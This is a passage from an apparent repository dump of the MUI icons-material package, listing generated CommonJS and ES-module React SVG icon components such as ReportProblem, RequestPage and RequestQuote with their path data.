    "path": "packages/mui-icons-material/lib/ReportOffSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M11 7h2v2.33l7.2 7.2.8-.8V8.27L15.73 3H8.27l-.8.8L11 7.33zM2.41 1.58 1 2.99l3.64 3.64L3 8.27v7.46L8.27 21h7.46l1.64-1.64L21.01 23l1.41-1.41zM11 12.99l.01.01H11zm1 4.31c-.72 0-1.3-.58-1.3-1.3s.58-1.3 1.3-1.3 1.3.58 1.3 1.3-.58 1.3-1.3 1.3\"\n}), 'ReportOffSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/ReportOffTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 9.1 14.9 5H9.1l-.22.22L11 7.33V7h2v2.33l5.78 5.79.22-.22zM6.05 8.04 5 9.1v5.8L9.1 19h5.8l1.05-1.05zM13 16c0 .55-.45 1-1 1s-1-.45-1-1 .45-1 1-1 1 .45 1 1\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M9.1 5h5.8L19 9.1v5.8l-.22.22 1.42 1.41.8-.8V8.27L15.73 3H8.27l-.8.8 1.41 1.42z\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"12\",\n  cy: \"16\",\n  r: \"1\"\n}, \"2\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M13 7h-2v.33l2 2zM2.41 1.58 1 2.99l3.64 3.64L3 8.27v7.46L8.27 21h7.46l1.64-1.64L21.01 23l1.41-1.41zM14.9 19H9.1L5 14.9V9.1l1.05-1.05 9.9 9.9z\"\n}, \"3\")], 'ReportOffTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/ReportOffTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 9.1 14.9 5H9.1l-.22.22L11 7.33V7h2v2.33l5.78 5.79.22-.22zM6.05 8.04 5 9.1v5.8L9.1 19h5.8l1.05-1.05zM13 16c0 .55-.45 1-1 1s-1-.45-1-1 .45-1 1-1 1 .45 1 1\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M9.1 5h5.8L19 9.1v5.8l-.22.22 1.42 1.41.8-.8V8.27L15.73 3H8.27l-.8.8 1.41 1.42z\"\n}, \"1\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"12\",\n  cy: \"16\",\n  r: \"1\"\n}, \"2\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M13 7h-2v.33l2 2zM2.41 1.58 1 2.99l3.64 3.64L3 8.27v7.46L8.27 21h7.46l1.64-1.64L21.01 23l1.41-1.41zM14.9 19H9.1L5 14.9V9.1l1.05-1.05 9.9 9.9z\"\n}, \"3\")], 'ReportOffTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/ReportOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M15.73 3H8.27L3 8.27v7.46L8.27 21h7.46L21 15.73V8.27zM19 14.9 14.9 19H9.1L5 14.9V9.1L9.1 5h5.8L19 9.1z\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"12\",\n  cy: \"16\",\n  r: \"1\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M11 7h2v7h-2z\"\n}, \"2\")], 'ReportOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/ReportOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M15.73 3H8.27L3 8.27v7.46L8.27 21h7.46L21 15.73V8.27zM19 14.9 14.9 19H9.1L5 14.9V9.1L9.1 5h5.8L19 9.1z\"\n}, \"0\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"12\",\n  cy: \"16\",\n  r: \"1\"\n}, \"1\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M11 7h2v7h-2z\"\n}, \"2\")], 'ReportOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/ReportProblem.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M1 21h22L12 2zm12-3h-2v-2h2zm0-4h-2v-4h2z\"\n}), 'ReportProblem');"
  },
  {
    "path": "packages/mui-icons-material/lib/ReportProblem.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M1 21h22L12 2zm12-3h-2v-2h2zm0-4h-2v-4h2z\"\n}), 'ReportProblem');"
  },
  {
    "path": "packages/mui-icons-material/lib/ReportProblemOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 5.99 19.53 19H4.47zM12 2 1 21h22zm1 14h-2v2h2zm0-6h-2v4h2z\"\n}), 'ReportProblemOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/ReportProblemOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 5.99 19.53 19H4.47zM12 2 1 21h22zm1 14h-2v2h2zm0-6h-2v4h2z\"\n}), 'ReportProblemOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/ReportProblemRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M2.73 21h18.53c.77 0 1.25-.83.87-1.5l-9.27-16c-.39-.67-1.35-.67-1.73 0l-9.27 16c-.38.67.1 1.5.87 1.5M13 18h-2v-2h2zm-1-4c-.55 0-1-.45-1-1v-2c0-.55.45-1 1-1s1 .45 1 1v2c0 .55-.45 1-1 1\"\n}), 'ReportProblemRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/ReportProblemRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M2.73 21h18.53c.77 0 1.25-.83.87-1.5l-9.27-16c-.39-.67-1.35-.67-1.73 0l-9.27 16c-.38.67.1 1.5.87 1.5M13 18h-2v-2h2zm-1-4c-.55 0-1-.45-1-1v-2c0-.55.45-1 1-1s1 .45 1 1v2c0 .55-.45 1-1 1\"\n}), 'ReportProblemRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/ReportProblemSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M1 21h22L12 2zm12-3h-2v-2h2zm0-4h-2v-4h2z\"\n}), 'ReportProblemSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/ReportProblemSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M1 21h22L12 2zm12-3h-2v-2h2zm0-4h-2v-4h2z\"\n}), 'ReportProblemSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/ReportProblemTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 5.99 4.47 19h15.06zM13 18h-2v-2h2zm-2-4v-4h2v4z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 2 1 21h22zm0 3.99L19.53 19H4.47zM11 16h2v2h-2zm0-6h2v4h-2z\"\n}, \"1\")], 'ReportProblemTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/ReportProblemTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 5.99 4.47 19h15.06zM13 18h-2v-2h2zm-2-4v-4h2v4z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 2 1 21h22zm0 3.99L19.53 19H4.47zM11 16h2v2h-2zm0-6h2v4h-2z\"\n}, \"1\")], 'ReportProblemTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/ReportRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M15.32 3H8.68c-.26 0-.52.11-.7.29L3.29 7.98c-.18.18-.29.44-.29.7v6.63c0 .27.11.52.29.71l4.68 4.68c.19.19.45.3.71.3h6.63c.27 0 .52-.11.71-.29l4.68-4.68c.19-.19.29-.44.29-.71V8.68c0-.27-.11-.52-.29-.71l-4.68-4.68c-.18-.18-.44-.29-.7-.29M12 17.3c-.72 0-1.3-.58-1.3-1.3s.58-1.3 1.3-1.3 1.3.58 1.3 1.3-.58 1.3-1.3 1.3m0-4.3c-.55 0-1-.45-1-1V8c0-.55.45-1 1-1s1 .45 1 1v4c0 .55-.45 1-1 1\"\n}), 'ReportRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/ReportRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M15.32 3H8.68c-.26 0-.52.11-.7.29L3.29 7.98c-.18.18-.29.44-.29.7v6.63c0 .27.11.52.29.71l4.68 4.68c.19.19.45.3.71.3h6.63c.27 0 .52-.11.71-.29l4.68-4.68c.19-.19.29-.44.29-.71V8.68c0-.27-.11-.52-.29-.71l-4.68-4.68c-.18-.18-.44-.29-.7-.29M12 17.3c-.72 0-1.3-.58-1.3-1.3s.58-1.3 1.3-1.3 1.3.58 1.3 1.3-.58 1.3-1.3 1.3m0-4.3c-.55 0-1-.45-1-1V8c0-.55.45-1 1-1s1 .45 1 1v4c0 .55-.45 1-1 1\"\n}), 'ReportRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/ReportSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M15.73 3H8.27L3 8.27v7.46L8.27 21h7.46L21 15.73V8.27zM12 17.3c-.72 0-1.3-.58-1.3-1.3s.58-1.3 1.3-1.3 1.3.58 1.3 1.3-.58 1.3-1.3 1.3m1-4.3h-2V7h2z\"\n}), 'ReportSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/ReportSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M15.73 3H8.27L3 8.27v7.46L8.27 21h7.46L21 15.73V8.27zM12 17.3c-.72 0-1.3-.58-1.3-1.3s.58-1.3 1.3-1.3 1.3.58 1.3 1.3-.58 1.3-1.3 1.3m1-4.3h-2V7h2z\"\n}), 'ReportSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/ReportTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M9.1 5 5 9.1v5.8L9.1 19h5.8l4.1-4.1V9.1L14.9 5zM12 17c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1m1-3h-2V7h2z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M15.73 3H8.27L3 8.27v7.46L8.27 21h7.46L21 15.73V8.27zM19 14.9 14.9 19H9.1L5 14.9V9.1L9.1 5h5.8L19 9.1z\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"12\",\n  cy: \"16\",\n  r: \"1\"\n}, \"2\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M11 7h2v7h-2z\"\n}, \"3\")], 'ReportTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/ReportTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M9.1 5 5 9.1v5.8L9.1 19h5.8l4.1-4.1V9.1L14.9 5zM12 17c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1m1-3h-2V7h2z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M15.73 3H8.27L3 8.27v7.46L8.27 21h7.46L21 15.73V8.27zM19 14.9 14.9 19H9.1L5 14.9V9.1L9.1 5h5.8L19 9.1z\"\n}, \"1\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"12\",\n  cy: \"16\",\n  r: \"1\"\n}, \"2\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M11 7h2v7h-2z\"\n}, \"3\")], 'ReportTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/RequestPage.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M14 2H6c-1.1 0-2 .9-2 2v16c0 1.1.9 2 2 2h12c1.1 0 2-.9 2-2V8zm1 9h-4v1h3c.55 0 1 .45 1 1v3c0 .55-.45 1-1 1h-1v1h-2v-1H9v-2h4v-1h-3c-.55 0-1-.45-1-1v-3c0-.55.45-1 1-1h1V8h2v1h2z\"\n}), 'RequestPage');"
  },
  {
    "path": "packages/mui-icons-material/lib/RequestPage.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M14 2H6c-1.1 0-2 .9-2 2v16c0 1.1.9 2 2 2h12c1.1 0 2-.9 2-2V8zm1 9h-4v1h3c.55 0 1 .45 1 1v3c0 .55-.45 1-1 1h-1v1h-2v-1H9v-2h4v-1h-3c-.55 0-1-.45-1-1v-3c0-.55.45-1 1-1h1V8h2v1h2z\"\n}), 'RequestPage');"
  },
  {
    "path": "packages/mui-icons-material/lib/RequestPageOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M13.17 4 18 8.83V20H6V4zM14 2H6c-1.1 0-2 .9-2 2v16c0 1.1.9 2 2 2h12c1.1 0 2-.9 2-2V8zm1 9h-4v1h3c.55 0 1 .45 1 1v3c0 .55-.45 1-1 1h-1v1h-2v-1H9v-2h4v-1h-3c-.55 0-1-.45-1-1v-3c0-.55.45-1 1-1h1V8h2v1h2z\"\n}), 'RequestPageOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/RequestPageOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M13.17 4 18 8.83V20H6V4zM14 2H6c-1.1 0-2 .9-2 2v16c0 1.1.9 2 2 2h12c1.1 0 2-.9 2-2V8zm1 9h-4v1h3c.55 0 1 .45 1 1v3c0 .55-.45 1-1 1h-1v1h-2v-1H9v-2h4v-1h-3c-.55 0-1-.45-1-1v-3c0-.55.45-1 1-1h1V8h2v1h2z\"\n}), 'RequestPageOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/RequestPageRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m19.41 7.41-4.83-4.83c-.37-.37-.88-.58-1.41-.58H6c-1.1 0-2 .9-2 2v16c0 1.1.9 2 2 2h12c1.1 0 2-.9 2-2V8.83c0-.53-.21-1.04-.59-1.42M14 12c.55 0 1 .45 1 1v3c0 .55-.45 1-1 1h-1c0 .55-.45 1-1 1s-1-.45-1-1h-1c-.55 0-1-.45-1-1s.45-1 1-1h3v-1h-3c-.55 0-1-.45-1-1v-3c0-.55.45-1 1-1h1c0-.55.45-1 1-1s1 .45 1 1h1c.55 0 1 .45 1 1s-.45 1-1 1h-3v1z\"\n}), 'RequestPageRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/RequestPageRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m19.41 7.41-4.83-4.83c-.37-.37-.88-.58-1.41-.58H6c-1.1 0-2 .9-2 2v16c0 1.1.9 2 2 2h12c1.1 0 2-.9 2-2V8.83c0-.53-.21-1.04-.59-1.42M14 12c.55 0 1 .45 1 1v3c0 .55-.45 1-1 1h-1c0 .55-.45 1-1 1s-1-.45-1-1h-1c-.55 0-1-.45-1-1s.45-1 1-1h3v-1h-3c-.55 0-1-.45-1-1v-3c0-.55.45-1 1-1h1c0-.55.45-1 1-1s1 .45 1 1h1c.55 0 1 .45 1 1s-.45 1-1 1h-3v1z\"\n}), 'RequestPageRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/RequestPageSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M14 2H4.01L4 22h16V8zm1 9h-4v1h4v5h-2v1h-2v-1H9v-2h4v-1H9V9h2V8h2v1h2z\"\n}), 'RequestPageSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/RequestPageSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M14 2H4.01L4 22h16V8zm1 9h-4v1h4v5h-2v1h-2v-1H9v-2h4v-1H9V9h2V8h2v1h2z\"\n}), 'RequestPageSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/RequestPageTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M13.17 4H6v16h12V8.83zM15 11h-4v1h3c.55 0 1 .45 1 1v3c0 .55-.45 1-1 1h-1v1h-2v-1H9v-2h4v-1h-3c-.55 0-1-.45-1-1v-3c0-.55.45-1 1-1h1V8h2v1h2z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M13.17 4 18 8.83V20H6V4zM14 2H6c-1.1 0-2 .9-2 2v16c0 1.1.9 2 2 2h12c1.1 0 2-.9 2-2V8zm1 9h-4v1h3c.55 0 1 .45 1 1v3c0 .55-.45 1-1 1h-1v1h-2v-1H9v-2h4v-1h-3c-.55 0-1-.45-1-1v-3c0-.55.45-1 1-1h1V8h2v1h2z\"\n}, \"1\")], 'RequestPageTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/RequestPageTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M13.17 4H6v16h12V8.83zM15 11h-4v1h3c.55 0 1 .45 1 1v3c0 .55-.45 1-1 1h-1v1h-2v-1H9v-2h4v-1h-3c-.55 0-1-.45-1-1v-3c0-.55.45-1 1-1h1V8h2v1h2z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M13.17 4 18 8.83V20H6V4zM14 2H6c-1.1 0-2 .9-2 2v16c0 1.1.9 2 2 2h12c1.1 0 2-.9 2-2V8zm1 9h-4v1h3c.55 0 1 .45 1 1v3c0 .55-.45 1-1 1h-1v1h-2v-1H9v-2h4v-1h-3c-.55 0-1-.45-1-1v-3c0-.55.45-1 1-1h1V8h2v1h2z\"\n}, \"1\")], 'RequestPageTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/RequestQuote.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M14 2H6c-1.1 0-1.99.9-1.99 2L4 20c0 1.1.89 2 1.99 2H18c1.1 0 2-.9 2-2V8zm1 10h-4v1h3c.55 0 1 .45 1 1v3c0 .55-.45 1-1 1h-1v1h-2v-1H9v-2h4v-1h-3c-.55 0-1-.45-1-1v-3c0-.55.45-1 1-1h1V9h2v1h2zm-2-4V3.5L17.5 8z\"\n}), 'RequestQuote');"
  },
  {
    "path": "packages/mui-icons-material/lib/RequestQuote.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M14 2H6c-1.1 0-1.99.9-1.99 2L4 20c0 1.1.89 2 1.99 2H18c1.1 0 2-.9 2-2V8zm1 10h-4v1h3c.55 0 1 .45 1 1v3c0 .55-.45 1-1 1h-1v1h-2v-1H9v-2h4v-1h-3c-.55 0-1-.45-1-1v-3c0-.55.45-1 1-1h1V9h2v1h2zm-2-4V3.5L17.5 8z\"\n}), 'RequestQuote');"
  },
  {
    "path": "packages/mui-icons-material/lib/RequestQuoteOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M14 2H6c-1.1 0-2 .9-2 2v16c0 1.1.9 2 2 2h12c1.1 0 2-.9 2-2V8zM6 20V4h7v4h5v12zm5-1h2v-1h1c.55 0 1-.45 1-1v-3c0-.55-.45-1-1-1h-3v-1h4v-2h-2V9h-2v1h-1c-.55 0-1 .45-1 1v3c0 .55.45 1 1 1h3v1H9v2h2z\"\n}), 'RequestQuoteOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/RequestQuoteOutlined.mjs",
